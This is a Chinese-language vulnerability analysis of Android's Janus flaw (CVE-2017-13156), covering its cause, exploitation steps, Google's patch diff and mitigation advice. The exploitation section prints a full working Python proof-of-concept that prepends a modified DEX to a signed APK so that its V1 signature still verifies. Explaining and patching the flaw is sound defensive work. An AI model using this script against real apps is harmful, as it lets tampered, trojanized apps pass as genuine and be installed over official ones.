0x00 背景
攻击者利用Janus漏洞(CVE-2017-13156)可以绕过Android系统的signature scheme V1签名机制,任意修改应用代码而不影响其签名。Android的签名机制用来防护应用被篡改,正常来说,应用被修改了,需要重新对其签名,否则无法安装到设备上。应用在安装时,系统会校验apk的签名,如果签名不存在或者校验失败,系统会拒绝安装。由于攻击者不具有开发者的私钥,所以他会使用其他私钥对该应用进行重签名,这时会出现签名不一致的情况。应用校验签名,可以在一定程度上发现应用是否被篡改。但是Janus漏洞允许攻击者篡改应用而不影响签名,这样二次开发的应用可以覆盖官方应用,带来一定程度的危害。
影响范围
Android版本5.0~8.0,且应用使用signature scheme V1签名机制
自测
> adb shell dumpsys package pkgName | grep apkSginingVersion
查看应用使用的是哪个版本的签名机制。
值得注意的是,signature scheme V2签名机制在Android 7.0才引入,在此之前的版本,不支持V2签名校验。
0x01 漏洞原理
利用的主要原理:将恶意Dex拼接到APK文件前面。
ART允许运行一个raw dex文件。而判断运行的文件是APK还是DEX,是通过文件头部的magic字段。
Zip读取机制是读取文件末尾定位的central directory,通过里面的索引定位到各个zip entry。
系统解压的时候,没有先判断头部,而是直接从末尾读取进行解压;运行APK时,ART是直接通过头部判断文件类型的。由于两者使用不同的策略执行文件,解压文件从末尾开始执行,判断的签名不会改变(因为索引定位到的还是原来的文件),但是运行却是按照DEX文件去运行。校验机制存在缺失,可以绕过。
0x02 漏洞利用
- GetApkInfo.jar获取应用的签名信息:
可以看到未使用V2签名。
解包,取出classes2.dex,用baksmali.jar反编译。
找到其中一个smali文件,修改其字符串。
利用smali.jar回编译该目录,生成新的dex文件。
用janus的漏洞利用脚本(https://github.com/V-E-O/PoC/blob/master/CVE-2017-13156/janus.py)生成有问题的apk
#!/usr/bin/python
import sys
import struct
import hashlib
from zlib import adler32
def update_checksum(data):
m = hashlib.sha1()
m.update(data[32:])
data[12:12+20] = m.digest()
v = adler32(buffer(data[12:])) & 0xffffffff
data[8:12] = struct.pack("<L", v)
def main():
if len(sys.argv) != 4:
print("usage: %s dex apk out_apk" % __file__)
return
_, dex, apk, out_apk = sys.argv
with open(dex, 'rb') as f:
dex_data = bytearray(f.read())
dex_size = len(dex_data)
with open(apk, 'rb') as f:
apk_data = bytearray(f.read())
cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)
pos = cd_start_addr
while (pos < cd_end_addr):
offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
if pos == -1:
break
out_data = dex_data + apk_data
out_data[32:36] = struct.pack("<L", len(out_data))
update_checksum(out_data)
with open(out_apk, "wb") as f:
f.write(out_data)
print ('%s generated' % out_apk)
if __name__ == '__main__':
main()
> python janus.py classes2.dex xxx.apk target.apk
- 重新对比签名信息
可以看到修改后的apk签名是一样的。
- 安装该应用,成功。
证明存在该漏洞。
0x03 漏洞修复
Google官方修复方案:https://android.googlesource.com/platform/system/core/+/9dced1626219d47c75a9d37156ed7baeef8f6403%5E%21/#F0
diff --git a/libziparchive/zip_archive.cc b/libziparchive/zip_archive.cc
index 78de40a..d0bbd72 100644
--- a/libziparchive/zip_archive.cc
+++ b/libziparchive/zip_archive.cc
@@ -441,6 +441,22 @@
return -1;
}
}
+
+ uint32_t lfh_start_bytes;
+ if (!archive->mapped_zip.ReadAtOffset(reinterpret_cast<uint8_t*>(&lfh_start_bytes),
+ sizeof(uint32_t), 0)) {
+ ALOGW("Zip: Unable to read header for entry at offset == 0.");
+ return -1;
+ }
+
+ if (lfh_start_bytes != LocalFileHeader::kSignature) {
+ ALOGW("Zip: Entry at offset zero has invalid LFH signature %" PRIx32, lfh_start_bytes);
+#if defined(__ANDROID__)
+ android_errorWriteLog(0x534e4554, "64211847");
+#endif
+ return -1;
+ }
+
ALOGV("+++ zip good scan %" PRIu16 " entries", num_entries);
return 0;
修复的主要原理是打开zip文件时,校验该文件是否为一个合法的zip格式文件。在源码里可以看到LocalFileHeader::kSignature的实际值是0x04034b50,该值是zip格式中,Local file header的magic number。打开zip entry会校验这个字段是否匹配magic number。
对于开发者和个人用户,建议使用signature scheme V2签名机制,到官方渠道下载应用。